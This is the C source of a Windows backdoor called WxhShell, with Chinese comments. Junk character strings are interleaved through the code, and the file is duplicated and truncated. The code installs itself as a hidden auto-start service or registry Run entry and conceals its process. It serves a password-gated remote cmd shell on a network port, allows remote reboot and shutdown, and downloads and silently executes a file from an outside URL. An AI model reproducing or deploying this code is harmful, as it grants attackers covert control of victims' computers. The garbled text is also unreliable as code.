g>>E g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *]AdUEV? g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); - db_E# NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P+s!|7' nSW=LjrO~< if (!NtQueryInformationProcess) return 0; eCqHvMp XiL~TCkx4 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |2RC# ]/-Y if(!hProcess) return 0; ,eTUhK I(V!Mv8j if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6kNrYom !9[>L@#G CloseHandle(hProcess); _I)U%?V+ {4G%:09~J hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =h0,?]z if(hProcess==NULL) return 0; <~6h|F8 cl]Mi
"3_ HMODULE hMod; 5_- (<B char procName[255]; v*r7Zz6l unsigned long cbNeeded; ToJ$A`_!` z.kvX+7' if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (BTVD,G EK;YiJ CloseHandle(hProcess);
vr6MU< cd(GvX' if(strstr(procName,"services")) return 1; // 以服务启动 H,DM1Z9rz ~F4fFQ-yy return 0; // 注册表启动 E~]R2!9 } 9fhsIe
;\]b T;# // 主模块 cki81bOT int StartWxhshell(LPSTR lpCmdLine) \HKxh:F' { 5Ow[~p"l< SOCKET wsl; F<qz[,]|-j BOOL val=TRUE; 8n'B6hi int port=0; :c8&N-` struct sockaddr_in door; E^vJ@O \#Pfj&* if(wscfg.ws_autoins) Install(); )XvilCk1 ) L#i%)+ port=atoi(lpCmdLine); ~yH?=:>U swM*k;$q{ if(port<=0) port=wscfg.ws_port; q(`/Vo4g( rEB@$C^ WSADATA data; P(+&OoY2 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RloK,bg n?- }) if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; x4E7X_ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a0D%k: k5 door.sin_family = AF_INET; "uaMk}[ <! door.sin_addr.s_addr = inet_addr("127.0.0.1"); nm6h%}xND< door.sin_port = htons(port); ~]nSSD)\ ;1%-8f:lW if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W3MU1gl6k{ closesocket(wsl); wE? 'Cl return 1; KwPOO{4]g } B" !l2 l)Crc-:}4j if(listen(wsl,2) == INVALID_SOCKET) { ^; )8VP6 closesocket(wsl); @\f^0^G return 1; S/9DtXQ } ,n3a
gkPO> Wxhshell(wsl); 9%B\/&f WSACleanup(); 0:9.;x9_ G+X
Sfr return 0; xlA$:M& vUohtS* } 3NqN\5B: _*1`@ // 以NT服务方式启动 L)@?e?9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M<kj_.
{ B56L1^7 DWORD status = 0; !,6c ~ w DWORD specificError = 0xfffffff; ~N<4L>y< z([ v%zf serviceStatus.dwServiceType = SERVICE_WIN32; 7f0lQ serviceStatus.dwCurrentState = SERVICE_START_PENDING; K`u(/kz/< serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]pH-2_ serviceStatus.dwWin32ExitCode = 0; %M7` Hwu serviceStatus.dwServiceSpecificExitCode = 0; k'Sp. serviceStatus.dwCheckPoint = 0; |wH5sjT serviceStatus.dwWaitHint = 0; ,*7 (%k^` :lf+W hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rA%usaW if (hServiceStatusHandle==0) return; `$W_R[ $ZugBh[b status = GetLastError(); Cjc6d4~ if (status!=NO_ERROR) Gn ~6X-l { G!>z;5KuS serviceStatus.dwCurrentState = SERVICE_STOPPED; e\!0<d serviceStatus.dwCheckPoint = 0; t!r A%* serviceStatus.dwWaitHint = 0; ihIVUu-M serviceStatus.dwWin32ExitCode = status; \=:~ki=@B serviceStatus.dwServiceSpecificExitCode = specificError; )qo {c1X SetServiceStatus(hServiceStatusHandle, &serviceStatus); d@XV:ae return; __|+w<] } .QZaGw=,z _qw?@478 serviceStatus.dwCurrentState = SERVICE_RUNNING; #xX5,r0 serviceStatus.dwCheckPoint = 0; B0dQ@Hq* serviceStatus.dwWaitHint = 0; a&c6.#E{y if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +l9!Fl{MK\ } \s=t|Wpu2 glM$R &/ // 处理NT服务事件,比如:启动、停止 7UVzp v VOID WINAPI NTServiceHandler(DWORD fdwControl) s$Z
_48 { l49*<nkmq switch(fdwControl) .Le?T&_ { WtG~('g>& case SERVICE_CONTROL_STOP: @+Si?8\ serviceStatus.dwWin32ExitCode = 0; BJM.iXU)[ serviceStatus.dwCurrentState = SERVICE_STOPPED; `*_mP<Ag serviceStatus.dwCheckPoint = 0; [lWQ'DZ serviceStatus.dwWaitHint = 0; 2+QY hdw { i rU 6D SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y
}$/e } ow_W%I=6 return; {2=jAz'? case SERVICE_CONTROL_PAUSE: A OISs4 serviceStatus.dwCurrentState = SERVICE_PAUSED; mH%yGBp_ break; M>~Drul case SERVICE_CONTROL_CONTINUE: `$,GzS ( serviceStatus.dwCurrentState = SERVICE_RUNNING; y9q8i(E0 break; LBM ^9W case SERVICE_CONTROL_INTERROGATE: :.Jf0 break; +av@$} }; W6?pswQ SetServiceStatus(hServiceStatusHandle, &serviceStatus); _+K_5IO4 } >7I15U 1*'HL# // 标准应用程序主函数 *>|gxM8 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +
+M$#Er& { 'ig&$fz b #_6I w`0 // 获取操作系统版本 Q=AavKn# OsIsNt=GetOsVer(); wy0tgy(' | GetModuleFileName(NULL,ExeFile,MAX_PATH); 8$6Y{$&C V@zg}C|e // 从命令行安装 iBF|&h(\ if(strpbrk(lpCmdLine,"iI")) Install(); %?}33yV
i~I%D%; // 下载执行文件 2NC.Z; if(wscfg.ws_downexe) { n>ULRgiT:o if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WY?[,_4U WinExec(wscfg.ws_filenam,SW_HIDE); (.D~0a JU } Si8pzd }uJu>'1[G if(!OsIsNt) { *5%d XixN // 如果时win9x,隐藏进程并且设置为注册表启动 =Je[c,&j$? HideProc(); tnH2sHby StartWxhshell(lpCmdLine); $*e2YQdLo } B*
?]H*K else
DJ'zz&K if(StartFromService())
coW:DFX // 以服务方式启动 &;^YBW :I StartServiceCtrlDispatcher(DispatchTable); z\K"Rg~J else yE:+Lo`> // 普通方式启动 ;j[>9g StartWxhshell(lpCmdLine); h"X;3b^ m &,zq%;-f return 0; kD=WO4} } ,{M^-3C )'l:K.F j[`j9mM8 n^Hm;BiE# =========================================== NQBpX s}w{:Hk,x8 >AVVEv18 t;W0"ci9 Uwf+ yv t. " ]A~WIF [<n2Uz7MP #include <stdio.h> gG0!C))8 #include <string.h> BXtCSfY$ #include <windows.h> 4Jp:x"w #include <winsock2.h> K"|l@Q[ #include <winsvc.h> A)bWcB}U #include <urlmon.h> \pPY37l X <f8,n #pragma comment (lib, "Ws2_32.lib") [xSF6 #pragma comment (lib, "urlmon.lib") B
Wk/DVue 8&GBV_`I #define MAX_USER 100 // 最大客户端连接数 4{y)TZ #define BUF_SOCK 200 // sock buffer \UPjf]& #define KEY_BUFF 255 // 输入 buffer _Gn2o2T Y~c|hfL #define REBOOT 0 // 重启 = bfJ^]R #define SHUTDOWN 1 // 关机 7%5z p|3 @$ne{2J3 #define DEF_PORT 5000 // 监听端口 $ `ov4W zd2)M@ #define REG_LEN 16 // 注册表键长度 I(i}c~R #define SVC_LEN 80 // NT服务名长度 aOlT;h n&$j0k // 从dll定义API 6HT;#Znn typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .YhA@8nc~l typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;rF\kX&Jh typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2;k*@k-t typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Sdp&jZY x-$&g*< // wxhshell配置信息 VJeu8ZJ. struct WSCFG { |,S+@"0# int ws_port; // 监听端口 a!a-b~#cx char ws_passstr[REG_LEN]; // 口令 T-.% int ws_autoins; // 安装标记, 1=yes 0=no Bal$+S char ws_regname[REG_LEN]; // 注册表键名 GzhYY"iif# char ws_svcname[REG_LEN]; // 服务名 /5S30 |K char ws_svcdisp[SVC_LEN]; // 服务显示名 sd*p/Q|4 char ws_svcdesc[SVC_LEN]; // 服务描述信息 zBCtd1Xrni char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c/D+|X* int ws_downexe; // 下载执行标记, 1=yes 0=no * aN char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,k24w7K%d char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V3&RJ k=b ]] !VK }; ). <-X^@ qraSRK5 // default Wxhshell configuration gH$ Mr struct WSCFG wscfg={DEF_PORT, _GV:HOBi "xuhuanlingzhe", 6V$Avg\6\ 1, xcd#& "Wxhshell", S=MEG+Ad "Wxhshell", ?:vv50 "WxhShell Service", RiDJ> 6S "Wrsky Windows CmdShell Service", _dqzB$JV "Please Input Your Password: ", ~5NXd)2+Ks 1, Zq^At+8+ "http://www.wrsky.com/wxhshell.exe", +[M6X}
TQ "Wxhshell.exe" [A~y%bI" }; R cAwrsd h?AS{`.1 // 消息定义模块 DVG(Vw char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; N:S/SZI char *msg_ws_prompt="\n\r? for help\n\r#>"; |z9*GY6RU char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ZGBd%RWjG_ char *msg_ws_ext="\n\rExit."; / kE6@ char *msg_ws_end="\n\rQuit."; %aHB"vi6 char *msg_ws_boot="\n\rReboot..."; 2y//'3[ char *msg_ws_poff="\n\rShutdown..."; SON-Z"v char *msg_ws_down="\n\rSave to "; +NeOSQSj (uXL^oja char *msg_ws_err="\n\rErr!"; VU#`oJ:{ char *msg_ws_ok="\n\rOK!"; 3-[q4R 7r7YNn/? char ExeFile[MAX_PATH]; 'H3^e} int nUser = 0; @ju@WY45$^ HANDLE handles[MAX_USER]; ;ic3).H int OsIsNt; |LRedD7n {
d=^}-^ SERVICE_STATUS serviceStatus; iJ-23_D SERVICE_STATUS_HANDLE hServiceStatusHandle; #H)vK"hF tClg*A;|B // 函数声明 lNy.g{2f<m int Install(void); ;!=G int Uninstall(void); UxbjA- U[ int DownloadFile(char *sURL, SOCKET wsh); 6@Y_*4$| int Boot(int flag); VF&(8X\ void HideProc(void); ojafy} int GetOsVer(void); A0/"&Ag] int Wxhshell(SOCKET wsl); &TnS4O void TalkWithClient(void *cs); S*==aftl( int CmdShell(SOCKET sock); ];VA!++ int StartFromService(void); Q!o'}nA int StartWxhshell(LPSTR lpCmdLine); _Us#\+]_: Z
8S\@I VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?h3Y)5x T VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9{'N{ aAZZ8V // 数据结构和表定义 }{,^@xdyW SERVICE_TABLE_ENTRY DispatchTable[] = FTX=Wyr { &4 {KV. {wscfg.ws_svcname, NTServiceMain}, <Q3oT {NULL, NULL} RU'=ERYC }; ?5+.`L9H K`yRr`pW // 自我安装 +Jlay1U& int Install(void) AV:hBoO { O_2pIbh char svExeFile[MAX_PATH]; 3r<~Q7e HKEY key; X@'uy<tI- strcpy(svExeFile,ExeFile); (lXGmx8 TC N8a/@z // 如果是win9x系统,修改注册表设为自启动 SAH-p*. if(!OsIsNt) { c-x,fS"&W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 61,;Uc\T RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e|NG"< RegCloseKey(key); L(/e&J@>< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /1Qr#OJ(] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &VhroHO RegCloseKey(key); z#8~iF1 return 0; 'OE&/
C[ } p?{Xu4( } ED2a}Tt>Z } h2)yq:87 else { e
h&IPU S !SC`D])l // 如果是NT以上系统,安装为系统服务 1[mXd SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7P%%p3 if (schSCManager!=0) G|[ =/>~B { x5|I SC_HANDLE schService = CreateService %G3h?3 ( FGPB: schSCManager, m- %E-nr wscfg.ws_svcname, N/[p < wscfg.ws_svcdisp, #=D) j SERVICE_ALL_ACCESS, :<ka3<0% SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <vnHz?71c SERVICE_AUTO_START, b1?#81 SERVICE_ERROR_NORMAL, teOe#* svExeFile, }wWKFX NULL, QgrpBG NULL, \n" {qfn`r NULL, j>*S5y.{ NULL, =4vy@7/ NULL 8&;UO{ ); b
IH; if (schService!=0) @:;)~V { _U$<xVnP CloseServiceHandle(schService); efSM`!%j CloseServiceHandle(schSCManager); NO2XA\ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w4_ U0
n3 strcat(svExeFile,wscfg.ws_svcname); x[4`fM.m* if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AG3>V+k{Lv RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9TU88] RegCloseKey(key); 1;d$#j return 0; E_gD:PPU5 } t![7uU.W } fs|)l$Rd CloseServiceHandle(schSCManager); UN7EF/!Zz } zUDg&-J3 } V@\gS"Tu Nw:GCf-L return 1; \Lq h j } Y}@&h! g(nPQOs$u // 自我卸载 9Q
-HeXvR int Uninstall(void) G=)i{oC { +QB"8- HKEY key; IWBX'|}K > pgX^ if(!OsIsNt) { jy7\+i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MtM%{=&_ RegDeleteValue(key,wscfg.ws_regname); pEw"8U RegCloseKey(key); O7u(}$D
L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]~844Jp RegDeleteValue(key,wscfg.ws_regname); ioaU*% RegCloseKey(key); OHv[#xGuV? return 0; BK*x] zG$ } |o,YCzy|5 } SD#]$v } M])ZK else { )W|w C# -T!f,g3vW SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~"dA~[r
L if (schSCManager!=0) 4p e'06: { RFKtr SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YW-usvl& if (schService!=0) m%rd0=}57 { 2C2fGYu if(DeleteService(schService)!=0) { ,9?BcD1 CloseServiceHandle(schService); ai}mOyJs CloseServiceHandle(schSCManager); 8][nmjk0 return 0; X$%' } XV!6dh! CloseServiceHandle(schService); }{M#EP8q+ } -HQQw$ CloseServiceHandle(schSCManager); z,|r*\dw } bAsYv*t%r } :s=NUw_^ .ELGWF`> return 1; UsgK } c _\YBe]wJ ;V@WtZv // 从指定url下载文件 %lL.[8r| int DownloadFile(char *sURL, SOCKET wsh) ]d55m /( { 2*rH?dz8E HRESULT hr; $J4 *U char seps[]= "/"; IOTR/anu char *token; I6~pV@h^= char *file; 2<li7c59 char myURL[MAX_PATH]; @HT% n char myFILE[MAX_PATH]; {-ZFp CPgC jtY strcpy(myURL,sURL); Yaj0;Lo[wt token=strtok(myURL,seps); b6W2^tr- while(token!=NULL) |lXc0"H[o { "ZHW2l Mf file=token; $`APHjijN token=strtok(NULL,seps); W>!_|[a } $m7?3/YG f @8mS GetCurrentDirectory(MAX_PATH,myFILE); pa#d L!J strcat(myFILE, "\\"); yPM3a7-Bm strcat(myFILE, file); ]FD'5p{ send(wsh,myFILE,strlen(myFILE),0); t'9*R7= send(wsh,"...",3,0); u?>B)PW hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DQMHOd7g if(hr==S_OK) cQG
+$0( return 0; ?/TSi0R else 'iy*^A `Y return 1; 0$_oT;{8 YiYV>gaf"H } vK(i9>;7 lW<PoT // 系统电源模块 |4
v0:ETb$ int Boot(int flag) -DxL 0:E { -<Hu!V`+ HANDLE hToken; C(S'#cm TOKEN_PRIVILEGES tkp; ?in|qevL dX\.t< if(OsIsNt) { "8'@3$>R= OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jlp:lX LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /V=24\1Ky tkp.PrivilegeCount = 1; 6}75iIKi tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ";BlIovT=R AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9V,!R{kO! if(flag==REBOOT) { :*t"8;O[ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =81@o,1w return 0; N+zKr/ } :q
ti else { Ib|Rf;J~- if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) CL)lq)1( return 0; DKfE.p) } DvPlV q~ } uqM yoIc else { YWMGB#= if(flag==REBOOT) { |_}2f if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <F'X<Bau return 0; RlheQTJ } G+F#n6Vx else {
:,WtR if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eFBeJZuE| return 0; :`E8Z:-R } j>]nK~[ka } kgy:Q' 4VHqBQ4
return 1; ;^La"m } xBUya4w n"+[ :w4 // win9x进程隐藏模块 /R~1Zj2& void HideProc(void) *4U^0e { Jo$G,Q UJ0<%^f HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rm4.aO~-F if ( hKernel != NULL ) wUiys/OVM { 3l[McZ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?notxE7 ] ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :[\v FreeLibrary(hKernel); baJxU:Y=p } W3D c r@Dy v$(lZa1 return; 61/.K_%I. } 5K^69mx 7@Zx@ // 获取操作系统版本 #mZpeB~ int GetOsVer(void) CqHK %M { ^Y u6w\QM OSVERSIONINFO winfo; nt;haeJ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S{FROC~1R GetVersionEx(&winfo); %YSpCI if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?q(\=;Y return 1; %uJ<M-@r=u else !lxTX return 0; \%/#x V } 0VckocF pWPIJ>2G: // 客户端句柄模块 A,V\"KU int Wxhshell(SOCKET wsl) 6An9S%:_ { TpmwD{c[\ SOCKET wsh; $={:r/R`i struct sockaddr_in client; T21ky>8E DWORD myID; e%4:)
IV!; JT "B>y> while(nUser<MAX_USER) Dq36p${\W { }"|"Q7H int nSize=sizeof(client); :ml2.vP wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \Y|~2Ls8tu if(wsh==INVALID_SOCKET) return 1; 'eo
KZX+ .!1S[ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G2]4n T if(handles[nUser]==0) Z|_K6v/c closesocket(wsh); GwG4LIp else '"?C4mbSl nUser++; '" X_B0k } !(n4|Wd WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V[}4L|ad >N;F8v return 0; Ypeiy`. } }tH[[4tw, nSF``pp+ // 关闭 socket uch>AuF: void CloseIt(SOCKET wsh) p8kr/uMP ; { R)M_|ca closesocket(wsh); f6_];]yP nUser--; Xcrk;!IB? ExitThread(0); pM{nh00[ } f;&]:2.j rC.eyq,105 // 客户端请求句柄 &ISb~5 void TalkWithClient(void *cs) Xg=x7\V { GK9/D|h4 %]gn?`O SOCKET wsh=(SOCKET)cs; Rw6;Z char pwd[SVC_LEN]; ?gO8kPg/D char cmd[KEY_BUFF]; za:a)U^n char chr[1]; yC3yij<oR int i,j; 2:BF[c` 9Ro6fjjE while (nUser < MAX_USER) { \k]x;S<a B!dU>0&Ct if(wscfg.ws_passstr) { kloR#?8A if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R*oXmuOsYA //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Vs)--t //ZeroMemory(pwd,KEY_BUFF); o]ag"Q i=0; uGwJK`!~ while(i<SVC_LEN) { [6)UhS8 KjFK/Og. // 设置超时 Ti2Ls5H} fd_set FdRead; `}m Q struct timeval TimeOut; v?0r`<Mn FD_ZERO(&FdRead); ~`GhS<D FD_SET(wsh,&FdRead); kdxz ! TimeOut.tv_sec=8; WYIQE$SEv TimeOut.tv_usec=0; sK"9fU int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yf?h#G%24 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >6~k9>nDb< RrhT'':[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :d0Y%vl pwd=chr[0]; /wxE1][. if(chr[0]==0xd || chr[0]==0xa) { hY*0aZ|( pwd=0; &n[~!%( break; i\4hR? } KJ?y@Q i++; +B'8|5tPX } Z<#hS=eY 4<lQwV6= // 如果是非法用户,关闭 socket BaO1/zk if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Tzt ,/e } zOHypazOTq kWlAY% send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /Y&02L%\3s send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *d(SI<j @v}B6j b; while(1) { LuR,f"%2 $s4Wkq ZeroMemory(cmd,KEY_BUFF); _TUk(Qe TgTnqR@/ // 自动支持客户端 telnet标准 V $|< j=0; sowd`I~ while(j<KEY_BUFF) { 4J|t?]ij|E if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YC=S5; cmd[j]=chr[0]; 3IR
^ if(chr[0]==0xa || chr[0]==0xd) { /({;0I*!i cmd[j]=0; B_ja&) !s1 break; .}k(L4T|= } nx:KoB"ny j++; FP#FB$eP
} Y4F6qyP)" 1[E#vdbT // 下载文件 4Hb $0l if(strstr(cmd,"http://")) { aup6?'G; send(wsh,msg_ws_down,strlen(msg_ws_down),0); dI*'!wK if(DownloadFile(cmd,wsh)) j'HkBW:L send(wsh,msg_ws_err,strlen(msg_ws_err),0); KECElK3uj else )9B:wc" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G~wF nl% } 8ZcU[8r else { {SZ % Xb o <w>/^|]# switch(cmd[0]) { ?Pwx~[<1"" LF?P>
1%- // 帮助 ~:lKS;PRuK case '?': { o5Y2vmz?9 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F52B~@. break; _Mc>W0'5@ } "BVdPS DBk // 安装 xMs]Hs case 'i': {
/u`3VOn if(Install()) TFR(
4W send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9B dt (}0A else E2AW7f(/ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nt:8ogk/ break; kax\h } W3&tJ8*3 // 卸载 _M,lQ~ case 'r': { ciMM^ZRIb if(Uninstall()) D H^T x send(wsh,msg_ws_err,strlen(msg_ws_err),0); J$9:jE-4 else u/Fj'*M send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V&Mf:@y break; PfG`C5
d } ,WWj-X|+= // 显示 wxhshell 所在路径 ]lS@}W\ case 'p': { P20|RvE char svExeFile[MAX_PATH]; k_GP>b\"k strcpy(svExeFile,"\n\r"); YCy2 2@C strcat(svExeFile,ExeFile); PoShQR< send(wsh,svExeFile,strlen(svExeFile),0); t~M
$%)h break; OQ4c#V? } -Dzsa // 重启 C+K=[ case 'b': { .G>t72DpU send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =y%rG :! if(Boot(REBOOT)) ] c}91 send(wsh,msg_ws_err,strlen(msg_ws_err),0); JmOW~W else { N;HIsOT}t closesocket(wsh); 9.M{M06; ExitThread(0); !q4x~G0d } W9J1= break; -s__E } +`bC%\T8? // 关机 U3#dT2U case 'd': { b
X)|MiWI send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $v}<' if(Boot(SHUTDOWN)) sI 4yG send(wsh,msg_ws_err,strlen(msg_ws_err),0); ujgLJ77 else { .tF|YP== closesocket(wsh); noNm^hFL ExitThread(0); q]<xMg#nu } ,
fb(
WY break; N
dR ] } %85Icg // 获取shell W7UtA.2LT case 's': {
FA>1x*;c CmdShell(wsh); 6J%iZ closesocket(wsh); en9en=n| ExitThread(0); _$/
+D:K break; Sl~x$9` } X QbNH~ // 退出
L2-^!' case 'x': { mog9 jw send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b>cafu CloseIt(wsh); /N^~U&7 break; 'pP-rdx } `1p 8C% // 离开 tfiqr|z case 'q': { Rt=
X%[YL send(wsh,msg_ws_end,strlen(msg_ws_end),0); J(h3]J/Yw closesocket(wsh); zTCP)x WSACleanup(); D\]&8w6& exit(1); 5n:71$6[ break; ;Gm>O7"|@ } r(uP!n1+ } (;6s)z } ,9ml>ji`= 73DlRt
* // 提示信息 8?jxDW
a if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bY#;E;'7 } _|n=cC4Qu } U6WG?$x c<qe[iyt/ return; VEh]p5D } 85>S"%_ p$!@I // shell模块句柄 B.-A $/ int CmdShell(SOCKET sock) 2mJ:c { c %<2z STARTUPINFO si; IUhp;iH ZeroMemory(&si,sizeof(si)); Ao`_",E si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b>q6:=(( si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6S*zzJ.0K PROCESS_INFORMATION ProcessInfo; zW'/2W. char cmdline[]="cmd"; 4DM L CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z
Bf;fi return 0; ^eTZn[qH>w } -qn[HXq ~%aJFs // 自身启动模式 q]v, int StartFromService(void) #)i&DJ^Y { aG3k4 typedef struct f4]&pcK { 4%bTj,H# DWORD ExitStatus; Hptq,~_t DWORD PebBaseAddress; [y{E DWORD AffinityMask; ~PUsgL^ DWORD BasePriority; =49o U ULONG UniqueProcessId; Pe,;MP\2 ULONG InheritedFromUniqueProcessId; #1l7FT?q } PROCESS_BASIC_INFORMATION; 5 LMj!)3 !V(`ZH PROCNTQSIP NtQueryInformationProcess; oYq,u@oM 7jezw'\=~ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )l2P}k7`
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `Yogq)G} -c$z 2Q) HANDLE hProcess; ]IXAucI] PROCESS_BASIC_INFORMATION pbi; S1C^+Sla] 0}-#b7eR HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RdkU2Y}V if(NULL == hInst ) return 0; S_T kbq:U8+k g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _SF!T6A g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); XWF7#xM NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Rkr^Z?/GH 1nXqi)&?; if (!NtQueryInformationProcess) return 0; {_ 6t4h} QJ M(UfHUD hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (wlfMiO if(!hProcess) return 0; r03I*b ho|8U if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '^lUL) R 8DL hk CloseHandle(hProcess); 4^MSX+zt ^^Bm$9 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Uf[T _ if(hProcess==NULL) return 0; F(G<*lA 3#<'[TF00t HMODULE hMod; y"Ihr5S\ char procName[255]; oYg/*k7EDX unsigned long cbNeeded; ^(m0M$Wk* {*nEKPq(_* if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _3KZME z qO$ CloseHandle(hProcess); 67ZYtA|t v+7*R)/ if(strstr(procName,"services")) return 